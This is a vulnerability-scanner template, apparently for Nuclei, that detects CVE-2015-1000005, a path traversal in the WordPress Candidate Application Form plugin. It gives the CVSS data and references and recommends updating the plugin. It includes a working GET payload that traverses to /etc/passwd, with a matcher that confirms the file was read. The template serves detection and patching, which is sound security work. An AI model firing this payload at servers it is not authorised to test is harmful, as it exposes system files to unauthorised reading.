id: CVE-2015-1000005 info: name: WordPress Candidate Application Form <= 1.3 - Local File Inclusion author: dhiyaneshDK severity: high description: | WordPress Candidate Application Form <= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks. impact: | An attacker can exploit this vulnerability to read sensitive files on the server. remediation: | Update to the latest version of the plugin. reference: - https://wpscan.com/vulnerability/446233e9-33b3-4024-9b7d-63f9bb1dafe0 - https://nvd.nist.gov/vuln/detail/CVE-2015-1000005 - http://www.vapidlabs.com/advisory.php?v=142 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2015-1000005 cwe-id: CWE-22 epss-score: 0.047 epss-percentile: 0.92455 cpe: cpe:2.3:a:candidate-application-form_project:candidate-application-form:1.0:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: candidate-application-form_project product: candidate-application-form framework: wordpress tags: cve2015,cve,wpscan,wordpress,wp-plugin,lfi,wp,candidate-application-form_project http: - method: GET path: - '{{BaseURL}}/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd' matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 4a0a0047304502201928918415448d73e423fc4a5b49c1c58eb726d38293c0c5e19cdc8524ea1436022100b6742bb476643f5a5b07bcfb23a648559677a841affd59588e2a53b5f3218737:922c64590222798bb761d5b6d8e72950